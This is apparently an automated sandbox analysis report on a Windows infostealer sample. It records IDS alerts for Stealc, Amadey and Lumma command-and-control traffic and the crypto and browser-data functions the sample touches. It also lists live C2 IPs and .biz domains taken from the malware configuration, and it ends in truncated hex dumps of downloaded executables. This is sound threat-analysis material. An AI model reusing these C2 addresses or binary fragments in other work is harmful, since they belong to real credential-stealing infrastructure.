Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C66A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C664440 PK11_PrivDecrypt,	0_2_6C664440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C634420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C634420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6644C0 PK11_PubEncrypt,	0_2_6C6644C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6C6B25B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C648670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6C648670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6C66A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6C64E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6C68A730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C690180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6C690180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6643B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6C6643B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C687C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6C687C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C647D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6C647D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6C68BD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C689EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6C689EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C663FF0 PK11_PrivDecryptPKCS1,	0_2_6C663FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C669840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6C669840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C663850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6C663850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68DA40 SEC_PKCS7ContentIsEncrypted,	0_2_6C68DA40

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.5:49956 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.5:49962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.5:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.5:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.5:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.5:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.5:49989 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2657386888.000000006F8CD000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: C:\A\35\b\bin\amd64\_socket.pdb source: ziNGMDa.exe, 00000012.00000003.2991866726.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3339277721.00007FF8BFB38000.00000002.00000001.01000000.00000014.sdmp, _socket.pyd.18.dr
Source:	Binary string: C:\A\35\b\bin\amd64\_ctypes.pdb source: ziNGMDa.exe, 00000014.00000002.3339787346.00007FF8BFB70000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr
Source:	Binary string: C:\A\35\b\bin\amd64\_lzma.pdbMM source: ziNGMDa.exe, 00000012.00000003.2991319328.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3338318197.00007FF8BFAEB000.00000002.00000001.01000000.00000017.sdmp, _lzma.pyd.18.dr
Source:	Binary string: C:\A\35\b\bin\amd64\_asyncio.pdb source: ziNGMDa.exe, 00000012.00000003.2990131940.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, _asyncio.pyd.18.dr
Source:	Binary string: C:\A\39\b\libssl-1_1.pdb?? source: libssl-1_1.dll.18.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2657386888.000000006F8CD000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\A\35\b\bin\amd64\_queue.pdb source: ziNGMDa.exe, 00000012.00000003.2991745096.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, _queue.pyd.18.dr
Source:	Binary string: C:\A\35\b\bin\amd64\_overlapped.pdb source: ziNGMDa.exe, 00000012.00000003.2991624033.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\39\b\libssl-1_1.pdb source: libssl-1_1.dll.18.dr
Source:	Binary string: d:\a01\_work\4\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: ziNGMDa.exe, 00000012.00000003.2989956575.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3340086093.00007FF8BFB91000.00000002.00000001.01000000.00000011.sdmp, VCRUNTIME140.dll.18.dr
Source:	Binary string: C:\A\35\b\bin\amd64\unicodedata.pdb source: ziNGMDa.exe, 00000012.00000003.3003539397.000001F69CC05000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: C:\A\35\b\bin\amd64\_uuid.pdb source: ziNGMDa.exe, 00000012.00000003.2992203303.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\35\b\bin\amd64\_multiprocessing.pdb source: ziNGMDa.exe, 00000012.00000003.2991502232.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, _multiprocessing.pyd.18.dr
Source:	Binary string: C:\A\35\b\bin\amd64\_lzma.pdb source: ziNGMDa.exe, 00000012.00000003.2991319328.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3338318197.00007FF8BFAEB000.00000002.00000001.01000000.00000017.sdmp, _lzma.pyd.18.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr
Source:	Binary string: C:\A\35\b\bin\amd64\_hashlib.pdb source: ziNGMDa.exe, 00000012.00000003.2991175469.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\35\b\bin\amd64\python310.pdb source: ziNGMDa.exe, 00000014.00000002.3336778016.00007FF8A8B3E000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: C:\A\35\b\bin\amd64\select.pdb source: ziNGMDa.exe, 00000012.00000003.3003260519.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3338986366.00007FF8BFB23000.00000002.00000001.01000000.00000015.sdmp, select.pyd.18.dr
Source:	Binary string: C:\A\35\b\bin\amd64\pyexpat.pdb source: ziNGMDa.exe, 00000014.00000002.3338019911.00007FF8B9192000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: C:\A\35\b\bin\amd64\_bz2.pdb source: ziNGMDa.exe, 00000012.00000003.2990249914.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000014.00000002.3338643947.00007FF8BFB0D000.00000002.00000001.01000000.00000016.sdmp

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49854 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49860
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49912 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49933 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057921 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz) : 192.168.2.5:58434 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49956 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49962 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49954 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49967 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49976 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49973 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49978 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49984 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49989 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49995 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49962 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49962 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49956 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49956 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49967 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49989 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49989 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49995 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49995 -> 172.67.165.166:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: impend-differ.biz
Source: Malware configuration extractor	URLs: formy-spill.biz
Source: Malware configuration extractor	URLs: se-blurry.biz
Source: Malware configuration extractor	URLs: atten-supporse.biz
Source: Malware configuration extractor	URLs: covery-mover.biz
Source: Malware configuration extractor	URLs: print-vexer.biz
Source: Malware configuration extractor	URLs: dare-curbys.biz
Source: Malware configuration extractor	URLs: dwell-exclaim.biz
Source: Malware configuration extractor	URLs: zinc-sneark.biz
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 09 Dec 2024 14:29:01 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 09 Dec 2024 14:29:29 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 09 Dec 2024 14:29:31 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 